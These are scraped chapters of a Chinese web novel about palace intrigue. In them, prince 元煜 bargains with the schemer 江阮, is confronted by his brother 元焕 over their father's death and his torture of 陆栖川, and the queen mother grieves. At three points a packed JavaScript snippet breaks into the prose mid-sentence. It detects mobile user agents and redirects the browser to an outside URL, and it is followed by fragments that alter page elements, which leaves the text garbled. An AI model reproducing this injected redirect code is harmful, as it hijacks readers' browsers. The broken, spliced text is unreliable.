元煜的动作止住了,那一刻他在脑海中思索着孔肃从进入官场到今天这位置的所有经历,他试图找出江阮是从何时拉拢了孔肃,可元煜发现自己找不到,甚至若不是孔肃主动来找他传江阮的话,元煜根本不能将那个畏畏缩缩的男人和江阮联想到一起。 “那您不妨先向我透个底,孔肃,究竟能给您带来什么?” 元煜话音刚落,他没有等到江阮的回答,却从掀起来的帘子后面看到了江阮。 原来这就是搅得所有人不得安宁的江阮,元煜望着他有些出神,江阮这张脸真的很有东亭人的神韵,小巧精致,他甚至险些将江阮当作是女子了。 “行,反正他进了大牢我也没想着让他活着出来了。煜殿下帮我个忙,直接让元衡处死他吧。” 元煜眉头一皱,可转瞬恢复如常,他试探着开口:“他如今罪不至死,毕竟他也算是得了父亲授意的,父亲不能直接他的罪名的坐实。” 江阮冷笑一声,不愧是元衡,如今只要他不指明孔肃做这一切的真正目的,他就不会向天下人展露他的野心,虽然那早已是是司马昭之心了。 “如今元衡给孔肃定的是贻误战机?也就是说他并没有觉得你打陈京观有何不妥?” 元煜点头,江阮脸上笑意更浓,“看来他和我是一个想法,只可惜陈京观不能死两次。” 江阮说完顿了顿,他心里突然冒出一个声音:陈京观,不是已经死了两次了吗? 想到这江阮笑出了声,元煜看着他有些隐疑,只等着江阮再次开口。 “那就好办了,想必你父亲如今对你的心思是装聋作哑的态度,不然你也不能安然站在我面前。至于孔肃,”江阮眼眸低垂,“我也当卖元衡个顺水人情,你还记得你们去和西芥谈判岭扬江时,对方突然拿出了一张城防图吗?那是孔肃给我的,他当初在澎州任参军。” 闻言,元煜猛地抬头,像是听到了不可思议的故事。 那时候元煜不过十四,还是个被陆韶怜保护得很好的小皇子,他只记得那段日子元衡本来是很高兴的,突然有一天他来了陆韶怜宫里,屁股没坐热就被带了出去,再进来的时候他看到了地上摔碎的杯子和元衡刚缓和下来的脸。 没过几天,原本胜券在握的元衡吃了人生中少有的败仗,他和恪多协议分江而治。 “那时候您应该也不过十五六岁,怎的又如此手段?” 元煜小心翼翼地问,江阮倒也不在意他的探听。 “反正你的命也在我手里,我倒也不介意你知道些不太重要的秘密。” 元煜尴尬地低下了头,江阮缓声道:“孔肃,其实应该叫他姚肃,他原本是东亭一个旁支的小王爷,当时东亭旧族撤离时他因为家里没什么势力而被留了下来,后来人质营走水他逃了出来,我遇到了他,给他换了名字改了身世,将他推进了北梁朝廷做我的眼线。” 江阮隐瞒了自己在这其中的事情,其实他和孔肃是在人质营遇到的,孔肃是为数不多没有瞧不起他,而是信任他,跟着他跑出来的人。 只不过这些年江阮也为孔肃做了许多,孔肃这样一个亡国皇族能重新爬到北梁的相位,江阮在这其中的为他奔走周旋了不知道多少个日夜。 他们在人质营相逢的时候就知道自己的命了,从那之后活着的每一天都是赚了,孔肃不过是在倒数着自己的死期。 只是能让江阮下定决心杀了他,还是因为孔肃触及到了江阮的核心利益。 最开始江阮让孔肃在北梁朝廷培植自己的势力,为的是能将元家架空,可孔肃的行事慢慢偏离了江阮的预期,他开始和元煜有了交集。 江阮当然明白他的心思,毕竟一人之下的位置坐了这么久,若能把元煜扶到皇位上,孔肃才算是彻底拥有了自己。 可这样的打算给江阮的计划增加了极大的风险,元家的两个儿子是陆韶怜从小亲自看着长大的,陆韶怜的眼睛很毒,江阮害怕元煜会成为自己的马脚。 不过孔肃也没有蠢到直接劝说元煜夺位,他一边在北梁朝堂打压陆林两家,一边在私底下将元煜心里的不甘点燃,孔肃毕竟在江阮身边待了这么多年,这些手段他还是有的。 当江阮提出要将北梁的军队放在自己手里的时候,孔肃第一个想到的就是自己这个“徒弟”,他以为元煜会完全依赖于他的庇护,会像寻常那些被扶上位的皇帝一样对他言听计从。 可孔肃没有意识到元煜这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160358|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样一个充满反叛的人,怎么会甘心屈居一个臣子之下,更何况深恩几近仇,他替元煜做了太多,他早就变成了元煜的污点,成了元煜心事败露的最大危险。 于是孔肃有了今天的结果,他自以为是地进行着自己的谋划,可江阮只能有一个,不是每个人都能像江阮一样完全看透人心,更多的人不过是贪心不足蛇吞象。 “所以他从一开始就是您的人?” 江阮点头,元煜不禁咽了咽口水,他感觉自己方才信誓旦旦说要为江阮做事简直是异想天开,像江阮这样的人又怎么可能将全部赌注压在孔肃一个人身上,元煜必须要向江阮表露出自己的价值了。 “我明白了,我会以他投敌叛国为由让父亲下令将其诛杀,您放心,他不会透露出有关您的半个字。” “嗯?” 江阮的声音带着夜晚的倦怠,元煜以为他没听清,可当他想要再重复一遍的时候,江阮笑着说:“你以为我会怕他告密?你觉得他能知道我多少秘密?他知道的如果够多,我怎么会让他活到今天?煜殿下,这样的手腕可当不上皇帝。” 江阮说完故作叹惋地朝元煜摇头,元煜立刻意识到是江阮嫌弃自己的筹码不够,他顿了顿,突然脑子里闪过一个念头。 “那如果我能替他帮您拿到北梁的军权,这份投名状可还行?” 元煜抬起头,眼睛直勾勾盯着江阮,江阮也毫不避讳地看着他,车篷的阴影下,他像是想到了什么,嘴角划起一抹笑。 “看来煜殿下早就有自己的动作了,也难怪能将孔肃毫不犹豫地踢出局。” 江阮的话让元煜有些不自在,他下意识抬起手摸了摸自己的鼻梁,江阮将这一切看在眼里,他继续道:“不过也无所谓,如果煜殿下真的能做到如您所说,那您确实比孔肃更有活着的价值。他替您死,不亏。” 江阮朝前探身,元煜将他的整个容貌看了个一清二楚,那细细的脖颈好似月光的容器,银晖顺着江阮的弧度没进了他的领口。 “不过煜殿下要给我个确切的时间,我好给孔肃选个吉日安葬。” 元煜回过神,他方才说出来的话他是有把握的,但是要让他具体给个准信他做不到,这一切有太多不确定的因素,他想再等等。 “要不这样吧,”江阮叹了一口气,“等我拿下阙州,我要看到北梁军队易主。如果你真的能做到,我可以替孔肃把你扶上皇位。” 江阮见元煜不说话,他微微挑眉又缩回了车里,元煜只听到他说:“我的话还是可信的,毕竟姚康就是例子,拥立一个皇帝对我来说不难。” 那姚康的下场也就是例子,元煜听出了江阮的画外音。虽说江阮至今都没有向外公布姚康的死讯,可那偌大的宫殿少了一个人,这消息终还是瞒不住的。 “可以,不过您打算何时进攻阙州?” 江阮将帘子放了下去,元煜看到不远处有一个人影在朝这边过来,他不想让人看到自己,便打算转身离开。 “一个月内。” 元煜站住了脚,他感觉自己的身体颤了颤。 一个月,拿下南魏都城?如果说话的人不是江阮,元煜甚至以为对方是疯了才说出这样的话。 可这话是江阮说出来的,那就一定会是真的。 “我虽然也不急着这一刻半刻,但是我觉得有些人等不住。” 江阮静静坐在在马车里,他下意识握住了袖子里的匕首。元煜以为他说的是自己,便应了一声:“我会先让父亲处死孔肃,这是我的诚意。至于昌安营,我一定会尽力去做。” “尽力?”江阮的声音带着一丝玩味,“那可远远不够。小殿下,你父母不傻的,他们如今不过是不愿意接受你有谋逆之心,可我若是将陆栖野兵败的真相直接摆在你母亲面前,她会不会保下你呢?她可从来没有押注给你。” 元煜没回话,他背对着江阮想要直接离开,可马车动了,江阮也留下了最后一句话。 “我知道不被爱很痛苦,可这也是事实。元煜,你该懂的。” 115.伯玉知非(五) 那天夜里,在瑟瑟月光下元煜一个人从凌州往都城走,他也说不上自己到底在想什么,竟然就这样把自己的底牌交出去了。 他甚至还没弄清楚江阮到底会不会帮自己,又会帮他到什么份儿上,还没开始合作,元煜已经和江阮处在了不对等的关系中。 原来这就是传说中的江阮,元煜忿忿地咬着牙,却也对如今的局面无可奈何。 他终究还是嫩了些,他以为靠陈京观这条命就能换来父亲的青睐,可元衡还是让他交了兵权,而他还赔上了孔肃。 孔肃不算个好老师,他所做这一切不过是私心驱使,但人不为己天诛地灭,他在为自己谋利的同时也的确是唯一还将元煜当作储君人选看的。 元煜还是太年轻,自以为是是每个少年人的通病。他如今像只还没学会飞却自己折断了翅膀的鸟,只能扑棱着等江阮来喂食。 元煜长叹一口气后用手狠狠揉了揉脸颊,他逼着自己冷静下来,至少先想着如何跟元衡开口。他抬头时望见来接应自己的人就在不远处,这方圆几里就那一盏灯,很好认。 “宋叔,我们……” 元煜的话还没说完,他敏锐地感觉到眼前的人不是他想象中来接自己的老管家,他下意识往后退,可没走两步后背就撞到了一个人的胸口。 元煜转头看去,在黑色的帽兜下他瞧不清眼前人的模样,只觉得他身量颇为熟悉,周遭散发着让自己讨厌的气息。 “去哪儿了?” 是元焕。 元煜咽了咽口水转身盯着眼前的人,元焕的半张脸隐在篷布的阴影里,他穿着常服,腰间只有陆韶怜在他弱冠时给他的玉佩,远远看过去像个乡绅家的少爷。 “哥?” 元煜心里已经确定了来人的身份,可他还是试探着开口,元焕也没有打算隐藏自己,他朝前走了一步,又把方才的话重复了一遍。 “我问你,你方才去哪儿了?见了谁?” 元焕比元煜稍高些,此时他站在元煜面前像一座快要倾倒的山,压得元煜喘不过气。 直到此刻,元煜才切身体会到了那些大臣为什么说元焕和元衡极为相像,在这两个人面前,元煜永远不敢抬头。 “父亲让我在凌州戍边,这您知道的。” 元煜的话半真半假,元衡派他去了凌州这不假,可到底是不是戍边却没人知道。 “这么晚了一个人出门?” 元焕穷追不舍地问,丝毫没有要放元煜进屋的意思。 “睡不着,自己去泯川江溜达了一会。” 元煜话音刚落,元焕的笑声惹得他一惊,他微微抬眼看着自己这位许久不见的兄长,他觉得自己在发抖,可又极力掩饰着,不想在元焕面前露怯。 “你知道我在你的府邸里找到了什么吗?” 元煜眉头一皱,“父亲并未降罪于我,你不该搜我的屋子。” “要用‘您’。” 元煜身后的人终于开口了,那一刻元煜觉得身前身后全是要将他拽下深渊的手,他想反驳,却听到身后的人继续道:“你把我哥藏起来,是因为你不敢动你自己的哥哥吗?” 陆栖野抬手将帽子掀了下去,元煜转身看到了陆栖野那双要吃人的眼睛,他没有回应陆栖野的话,只是偏过头没有再看他。 “元煜,父亲走了。” 元焕的声音像是一道天雷直击元煜的天灵盖,他顿时觉得站不住脚了,元焕没有扶他,任由他踉跄了一步勉强稳住身子。 “我现在是北梁的皇帝,你说,我能不能去搜你的屋子?” “不可能!父亲才与我通过信,怎么会……” 元煜的声音小了下来,他突然意识到宋叔不见了,他好像好久之前就不见了,他问过府衙里当差的人,他们说宋叔被陆韶怜叫回去了。 元煜在第一时间没有记起这件事,这是他今夜最大的败笔。他被江阮扰乱了心智,完全忘记看顾自己面前的事情。 “你是说这个?” 元焕说着,从自己的怀里掏出一封信,那封信元煜看了很多遍,上面已经留下了他的痕迹。 “你想要的话,我可以再写给你。” 七天前,元煜刚和元衡通过书信,他旁敲侧击问了好些元衡对于如何处置孔肃,如何看待东亭的问题,他借口说自己想要了解些政事将来好为元焕分忧。 那时的他不知道元衡早就看透了他的心思,只是元衡躺在病床上说不出话了,而近一个月的所有圣旨都是陆韶怜拟的,包括那道派他去凌州出访的旨意。 元煜在收到元衡的回信后,他望着上面详述的策略安排,他自以为元衡对他的态度有所和缓,只要他再等些时日,等着孔肃的事情尘埃落定,他就能回到京都彻底和元焕一决高下。 元煜把这封信看作是元衡对他的肯定和期待,可他没想到,那是元衡死后的第一天,元焕用元衡的口吻给他回的信。 元煜这些日子住在凌州的府衙,每天见到的都是官府里面的人,他平日不喜欢与人交际,来凌州小一个月了也没有个能说的上话的,元焕便利用了这一点,让元煜成了全天下最后一个知道元衡死讯的人。 “为什么?凭什么父亲死了你都不告诉我!” 元煜声嘶力竭地哭诉着,他伸手去夺元焕手里的信,却眼睁睁看着元焕将它撕成碎片,散了一地。 “元煜。” 元焕叫出这个名字后突然顿住,他的话在嘴边打了好几个转儿,那些责问和训斥都被他吞了下去,到最后只剩一句:“栖野说得是真的吗?” 元煜哭得双肩颤抖,他脸上的眼泪被半夜的寒风吹干后又被他再一次打湿,他只觉得这一切不真实,就好像他的梦突然被人叫醒了,他才发现他一直都是醒着的。 “是,”元煜轻笑了一声,“陆栖川和你一样,都让我觉得恶心。” 元煜眼睛红红地瞪着元焕,“凭什么你生的早就能得到父母更多的偏爱和优待,既然不喜欢我为什么还要生下我?我好像生出来就是你的代替品,可偏偏你一路通达,从未有半点闪失。” 元煜用力咽下喉咙里的酸涩,他忍着腹腔里翻涌的胃酸,继续道:“你们是天之骄子,你们生下来就是被万人捧在手心的,一个两个都有王位爵位等着,那我呢?我要做到什么份上才能被父亲看见?” 元煜的泪水模糊了他的双眼,他只觉得双腿发酸下一秒就要跪在地上了,可他拼命忍住,他不想给元焕下跪,死都不要。 从小元煜就是那个跟在哥哥身后的小不点,元焕已经能去书院读书的时候元煜还在襁褓里等着喂奶。他出生的时候就输了,他无论怎么努力也比不上元焕了。 只是一开始的元煜很享受被哥哥宠爱着的感觉,他觉得除却父母还能有哥哥是天底下最幸福的事情。 直到他无意间在书房听到陆韶怜说元衡该考虑立储的事情了,而元衡说元焕生下来就是要坐皇位的。 那我呢? 当时只有十二岁的元煜第一次知道,原来父亲从来没有将他看作可以承担北梁大业的人,他这些年夜夜挑灯温书,从小就跟着陆家兄弟在军营里摸爬滚打,好像这一切都成了笑话。 不过那时候的元煜还小,他以为元衡这样说只是因为他还比不过元焕。 于是他加倍努力,他找了当时北梁最好的师父教自己念书,用自己的月例银子请了各个门派的大师教他武功,他身上留下了很多伤,元衡都不知道。 元煜记得那是他十四岁的生辰,他的生辰只比元焕迟五天,元焕在他十八岁的生辰宴上得到了元衡亲笔写下的“天之骄子“,而元煜的宴席排面小了些,元衡只是来陪他玩了一天,那天他过得很开心,可晚上自己在被子里哭了一夜。 他认清了元衡给他的定位,元衡让他永远做哥哥的好臣子,做北梁的好王爷。 可笑的是,那时候的陆栖野也是同样的处境,甚至陆栖川还要长元焕一岁,他早在他的十八岁时就得到了陆晁的爵位,成了整个北梁武将里仅次于陆晁的存在。 从那时起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163602|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元煜开始和陆栖野走动,他觉得自己该和陆栖野是心心相惜的,可同样是不被重视的孩子,陆栖野好似蛮不在意,他沉溺于旁人一声声叫着自己“陆小爷”。 元煜觉得他烂泥扶不上墙,转而更加嫉恨陆栖川。 他觉得陆栖野就是被陆栖川毁掉的,他也快要被元焕毁掉了。 就这样,两对极为相似却又极为不同的兄弟互相成了对照,元煜心里属于元焕的形象慢慢模糊了,他寻到了一个发泄的方式,用陆栖川的形象代替了元焕。 元煜也不理解为什么自己这么恨哥哥却不敢忤逆他,而是把一切痛苦的根源都按在了陆栖川头上。 元煜在心里给自己开脱,他这是为了陆栖野好,他看不得别人调笑陆栖野不务正业,说他比不过陆栖川。 可这一切的根源他自己知道,陆家兄弟不过是给自己找的借口,他还是爱着元焕,却又恨透了他。 终于,老天给了他一个天赐良机,晏离鸿带兵反叛,陆栖川带兵无方,元衡一道圣旨把陆栖川从沧州押了回来,只是人还没进刑部的大门,元煜已经将他带到了自己府上。 那是元煜第一次觉得当个不被重视的皇子倒也有好处,比如此刻,他有着旁人不敢忤逆的权威,却又不用像元焕一样被人时时刻刻盯着。 陆栖川在被拿下头套的时候愣了片刻,转瞬他就明白了一切,他笑着被元煜缚上刑架,元煜问他笑什么,你当真不怕死吗,陆栖川摇了摇头,说:“你不会杀了我。” 是,元煜还是没有走到那一步,不过这不是因为他不敢,而是因为他要慢慢玩弄这个少年将军,他要看着陆栖川在自己面前求生不能求死不得,他还要用他奄奄一息的命去换陆晁的兵权。 元煜觉得如果真等到那一天,元衡和元焕也一定会明白自己居心叵测,不过他不在意了。 如果让他们的手沾上自己的血,元煜笑了,他觉得骨肉相残的名声也够他们吃一壶了。 那之后,元煜白日在人前装作和以前一样,可每天晚上就会去自己柴房下面那座为陆栖川量身打造的监牢里,看着他一天天被自己消耗,看着昔日风采奕奕的陆小将军被自己折磨,元煜真想让元焕也尝尝这个味道。 可他怯懦得让他自己觉得可笑。 就如同现在,当一切真相大白的时候他甚至只能喊出一句,“我也想被父亲看见”。 仅此而已。 “哥哥,你身上的光环太亮,太刺眼了,我每次盯着你的时候都想流泪。” 元煜抬手擦干了脸上的眼泪,他缓缓抬起头露出一个惨淡的微笑,元焕什么话也说不出来,他瞧见对面的陆栖野直直盯着元煜,好似下一秒就要将他生吞活剥。 这也不怪他,当陆栖川被人抬回陆府的时候,陆栖野第一次看见方荔哭了。 在外征战快十年的小将军,受过最重的一次伤是被敌人射中了肩膀,再有就是这次。 陆栖川浑身上下几乎找不到一块好地方,他的胳膊被无数荆棘刺伤,膝盖处的淤青让他无法独自站立,那长长的脖颈被血痕分割成上下两个部分,皮肉下的青紫色触目惊心。 陆栖野还记得他被元焕叫回澄州的那天,他隔着里三层外三层的太医看到了床榻上的哥哥,那时候陆栖川还在睡,他整个人被被子裹住看不出异常,可陆栖野已经在脑海中想到了他的遭遇。 那一刻他后悔极了,他为什么没有在朔州杀了元煜?即使元衡要将自己处死他也应该这么做。 “元煜,滥用私刑、勾结敌国、结党营私、意欲篡权,”元煜一字一顿,“这些罪名单拎出来一个我就可以处死你了。” 元煜没有回应,他此刻只一个心灰意冷已经无法描述他的心情了,他不知道自己是从哪一步开始错的,怎么会落得如此下场?如果元衡没有死,说不定他都不至于如此。 突然,元煜像是想到了什么,他抬头看着元焕,问道:“这件事情江阮为什么会不知道?” 元焕微微挑眉,“你为什么觉得他不知道?” 116.伯玉知非(六) 元煜不禁颤了颤身子,元焕换了个口气继续说:“你觉得母亲让你到凌州来,是为了什么?” 元煜不做声,元焕叹了一口气摇了摇头,“从她无意间知道你去过禹州开始,宋叔就成了她监控你的眼线,宋叔是跟着母亲打过仗的,你以为你能瞒得了他什么?” 元煜自嘲着笑道:“是啊,我身边早就千疮百孔了,又有谁是真的为了我。” 元煜没有接元煜的话,他动了动步子自顾自地说:“在孔肃让你领兵之前,你和他的确隐藏得很好,至少父亲并未起疑。可他突然让你带兵出征,而且是在他和父亲心知肚明此战是何意义的情况下,不得不说孔肃太心急了。” “孔肃和父亲说不上亲近,可常伴君侧他必然能看出父亲久病成疾,他怕他所做的一切前功尽弃,所以他赌了一把,把你介绍给了江阮,他把他整个计划都加快了。而你,”元焕轻笑了一声,“你就没有想过江阮想从你身上得到什么?他是商人,不会做无利的事情。” 元煜眉头一皱,他想到江阮将反水计划的一切都交代给他的时候,他说自己想要陈京观死,可这就结束了吗?如果是这样的话江阮大可以自己杀了陈京观。 但这一切都是如今的元煜想到的,那时候的他只觉得江阮和自己的目标一致,是他从天而降的助力。 “他的目的是一箭双雕,无论你最后能不能拿到这个位置,你都完蛋了。” 如果元煜顺利登基,他即位的那天将会是江阮用昌安营打下北梁的那天,元煜会成为下一个姚康,而如果元煜失败了,江阮什么损失都没有,他从一开始就没想让元家人活。 元煜感觉自己的胸口被人插进了一把刀子,从孔肃为他和江阮牵线搭桥的那天起这一切就发展得太快了,快到让元煜只看到了离他越来越近的胜利,却忽略了这世上哪儿有天上掉馅饼的事。 这也是江阮的手段之一,他会不停地进攻从而让对手没有思考的时间,某种程度上他攻击的是对手的大脑。 “方才你和他在朔州见面,他其实看到我们了,所以他没有下车。” 元焕继续说着,元煜一愣,他突然意识到他刚见到江阮时他像是揭开帘子查看过,元煜以为他会下来,可江阮隔着帘子同他说话。 原来这才是真正的江阮,元煜身上爬满了密密麻麻的冷汗,他后知后觉见他方才见到的人就如同一个鬼魅,若不是元焕说他们也在场,元煜会以为他看到的一切都是假的。 “那你们为什么放走了他?这是你们抓他的最好时机。” 陆栖野的声音从背后响起,“我们现身,然后呢?估计到最后也就能坐实你的叛国罪,然后抱回去一具尸体。你不会天真地以为江阮来见敌国皇子会孤身前往吧,你该注意到他的马夫离开了,那可是他精心培养的弓箭手。” 那时在场的,表面上是江阮和元煜两个,可东西两边一边窝着陆栖野,一边窝着灵谍。 “那你们为什么不觉得他会杀了我?” 元煜说完,又觉得自己这句话矫情极了,他做出这样的事情,本来被押回去也是死路一条,可他不死心,他想听元焕说些别的。 “他不会,他是真的指望你替他杀了孔肃。”说罢,元焕的语气软了下来,“我们也不会看着你死的。” 突然,元煜的胳膊被人一把抓住,他看着眼前的陆栖野嘴角微微抽动,他的手指因为用力而变得青紫,元煜被他钳住不禁深吸一口气。 “你现在明白了吗?无论是陆栖川还是元焕,他们身上背着很多我们看不见的包袱,他们头上的光环是很耀眼,可他们肩上的担子也不轻。元煜,你觉得你能玩得过朝廷里那些口蜜腹剑的大臣吗?你觉得你能玩得过江阮吗?” “难道他就可以?” 元煜扭着头看元焕,手臂的疼痛让他微微皱眉,“都是父亲的儿子,我不比你差。” “是,你是不比我差,可你也没比我好啊。” 元焕说完后心中升起一股没由来的无奈,“我们都是寻常人,能做到江阮这地步的天下无二。父亲为什么选了我做皇帝,就因为我是哥哥啊,如果我做了皇帝,这天下除了皇位就都是你的。” “而所有的负累都会由元焕承受。” 陆栖野补充道,元煜感觉手臂上的力度松了些,他试探着抽出了自己的胳膊,他望着元焕,脑中的思绪像是别人揉碎了又塞回来。 “你明明可以做这天下最快乐的人。” “可你们为什么不问问我想要什么?你们凭什么替我做选择?” 元煜的问题像是砸进元焕心里的巨石,他哑口无言。 所有人都认为元煜是不识好歹,是身在福中不知福,可没有一个人问过他想要什么,他们自以为是地安排好了元煜的人生,到头来说他不知道感恩。 元煜终于明白自己为什么怪不了父母,怪不了哥哥了。他们的一言一行都充满着对他的爱,可他感受不到,那些错位的爱他消受不起,他能感觉到的只有忽视。 他们用心浇灌着元煜这朵花,却不知道他到底是喜欢潮湿还是干燥。 “如今说什么都晚了,尘埃落定,所有结果我都受着。” 元煜冷笑一声,“不得不说哥你命真好,父亲到死都在帮你。他一死,彻底断了我所有希望。” “啪!” 元焕今夜第一次将巴掌甩到元煜的脸上,元煜感觉脸颊火辣辣的疼,元焕举在半空的手还在颤抖,那手就像他的心一样进退两难。 “所以父亲死了,你感受到的只有挫败?” 元焕脸上的难以置信刺痛着元煜,可元煜执拗地没有说一句话,他任由风吹过他微微发烫的脸,让那阵痛随着风的清凉变成落在他心里的层层涟漪。 “元煜,你真的让我很失望。” “是吗?” 元煜笑了笑,“我也对我自己很失望,我对你们所有人都很失望。元焕,你就应该现在杀了我。” 说罢,元煜缓缓闭上双眼,他像是没有知觉的木偶,脸上两股热泪流下的时候他毫无察觉。 可想象中的所有动作都没有出现,一阵风吹后元煜睁开了眼,他的身边没有人了,在广袤的凌州边界,他像是被遗弃的孩子。 “你为什么下不了手?” 元煜自言自语着,他想到了自己在蹂躏陆栖川时毫不犹豫。 元焕和陆栖野没有如他意料中一般将一切还回来,今晚唯一的那个巴掌也已经不疼了。 元煜一个人回到屋子里,他看到屋内陈设一切如旧,没有任何被翻动过的痕迹,只有床上多了一床厚被子,他走过去摸了摸那宫里才有的刺绣手艺,他想母亲了。 …… 仿佛是母子连心,北梁澄州的赋阳宫,陆韶怜手里拿着元煜小时候玩的拨浪鼓,她有一搭没一搭地甩着,“咚咚”的声音她好似完全听不到,她面前的方荔静静望着她,像是有些于心不忍,上前抽走了她手里的东西。 “算日子,栖野和元焕,”方荔顿了一下,“皇上,应该是到凌州了。” 这些日子发生了太多事情,方荔的脑子不比陆韶怜清醒。陆栖川还躺在家里,每日就能醒来一两个时辰,林朝槿从沧州赶回来照顾他,整个人也憔悴了许多。 若是放在以前,方荔一定会来找陆韶怜讨个说法,可陆韶怜之前给她的那封信她字字句句都记在心里了,对此时的陆韶怜她埋怨不了什么。 “你说,皇上会怎么处置他?” 陆韶怜依旧一副神游在外的情态,她怔怔地望着桌上的拨浪鼓,眼神空洞又悲切。 “不知道,”方荔应了一声,又觉得心里有些话憋着难受,就继续说:“他可不只是对栖川用刑,他私会江阮这件事已经称得上卖国了。” 陆韶怜点了点头,她又怎么会不知道,北梁的律法她每一条都记得,她试图给元煜找一条生路,却发现他犯的全是死罪。 “栖川,还好吗?” 陆韶怜回过神来,她小心翼翼看着方荔,方荔顿了顿,应道:“太医说在地窖里待得太久毁了根子,再加上那些刑罚,估计以后打不了仗了。” 陆韶怜抿了抿嘴,她脸上的歉意全都印在了方荔眼中。 “你们替元家,替北梁做得够多了,我们会养着栖川,会让他的孩子世袭爵位。” “你是在替你儿子赎罪吗?” 方荔轻笑了一声,陆韶怜听得出她是在开玩笑,可她认真地点头道:“是。” 方荔正了正颜色,“你知道栖川为什么没想过逃吗?且先不论他逃不逃得掉,他从来没想过要逃。” 陆韶怜没说话,方荔就一边转着腕子上的玉镯一边说:“前天他醒的时间长,他拉着我和朝槿坐在他旁边说话。他说他知道元煜为什么要这么对他。” 方荔对上了陆韶怜的眼睛,“元煜把他当成元焕了。” 陆韶怜低着头沉默不语,方荔抬起头沿着窗沿去寻外面的月亮,她望着那一轮皎洁高悬天上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆韶怜叹了一口气,像是下定决心一般开口。 “方荔,我发现我救不了他。”陆韶怜自嘲似的笑了,“我发现,我不认识他了。” 陆韶怜压抑住喉咙里的哭腔,她反握住方荔的手,“你知道那次我去找他,我以为他听进去了,我以为他是懂我的,可我最终还是高估了自己在他心里的地位。元衡这辈子或许爱过我,但也只是爱过。” 陆韶怜咽下了嘴里的酸楚,可还是有一两声呜咽跑了出来。 “我言辞恳切,试探着问他他究竟想要什么,他说是这天下。那一刻我就明白了,我和他其实是两条路上的人。我打仗是为了证明我自己,是为了保护我的家,而他是在靠战争寻找活着的意义。元家不养闲人,这是他父亲教给他的。” “可他还是让我养出了一个闲散的元煜,”陆韶怜低头轻笑,“而元煜偏偏继承了元衡的野心。这就是命,躲不过的。” “我看着他死在我怀里,他痛苦地挣扎着,他彷佛一夜之间老了好多。我没有找太医,没有求救,我们对望着,他慢慢没了气息。我觉得,是我杀了他。” 元衡的病是多年征战埋下的病根,如今到了五六十岁的年纪,过去的一切隐疾都找上了他,其实即便陆韶怜叫来太医也最多为他延上十天半个月的寿命,只是不知为何,看着元衡躺在自己怀里,陆韶怜说不出话。 最初他们是彼此挑选的家人,最后他们同床异梦,各自心焦。世间万般情事,都难逃兰因絮果的命运。 “可我不会忘记我是他选出来的皇后,”陆韶怜深吸一口气,“这北梁有我在一日,天塌不下来。我会还给元焕一个太平的家,他说过他做这一切也是为了元焕。” 事到如今,陆韶怜已经不想再去纠结元衡那固执又矛盾的内心,人活的时候她看不清楚,人死了说再多也不过是她的猜测。 此前种种都从昨日死,此后种种都自今日生,她希望元衡死在她的梦里,那时候的元衡还没有这么偏执,这就足够了。 那些话他们都没有说出口,那就让它永远尘封在心底,不要妄自菲薄,也不要恶意揣测,生死之间无大事,所有不理解都该随着逝去的人一起盖棺定论。 陆韶怜长叹一口气,她望着方荔眼神里透露着从未有过的柔和。 “让栖野再信我一次,你也再信我一次。” 117.伯玉知非(七) 离开凌州后,元焕带着陆栖野一路朝西,元焕没有解释自己要去哪里,直到他的马停到了陆府门前。 明明不过小半年的光景,陆栖野再回到陆家宅子的时候却觉得异常陌生。 从前陆家人不算少,晏离鸿不爱说话,却喜欢和陆栖野打嘴仗,陆栖川就在暗地里煽风点火,迷津和檞枳跟在陆栖川身后,掐着时机在陆晁出现前止住风波,桑柘则远远望着,一副无可奈何的样子。 如今再进到这里,陆栖野只在长廊的尽头看到了陆晁。他穿着一身黑色常服,手里拿着不知道何时陆栖野写给他的信,陆栖野叫了一声“父亲”,陆晁将信将疑地转了头。 “你怎么来了?” 陆晁笑着把信收到怀里,他刚想上前抱住陆栖野,在看到元焕的时候他顿了顿,躬身行礼。 “微臣参见陛下。” 元焕觉得心口像是堵住了什么,他的眉眼微微震动,走上前去把陆晁扶起来。 “舅舅。” 陆晁的手不自觉发抖,应了一声“不敢”。 “你是在怪我,怪元煜,还是在怪父亲?” 陆晁又道了一句:“微臣不敢。” “父亲死了,元煜,”元焕偏过头,“我拟了旨意将他贬为庶人,削去元姓,逐出家谱。” 元焕还是没有决心杀了元煜,他不知道真的是元煜最后那番话触动了他,还是他担心背上一个手足相残的名号。 元焕明明刚坐上这皇位,却感觉已经被皇位束缚住了。 那父亲做皇帝这些年,变成了母亲都不认识的样子,是不是也说得过去? 元焕在心底为元衡开脱,他明白这又何尝不是他在给未来的自己开脱,可他觉得只有这样他才能坦然地坐到他梦寐以求的位置上,才能忽略掉这一路的鲜血,才能毫无顾忌地去实现他的政治理想。 “陛下圣裁。” 陆晁的回答依旧没有任何个人感情,他的胳膊被元焕抓着,元焕能感觉到是陆晁在自己举着手,他已经不放心将自己交给别人了。 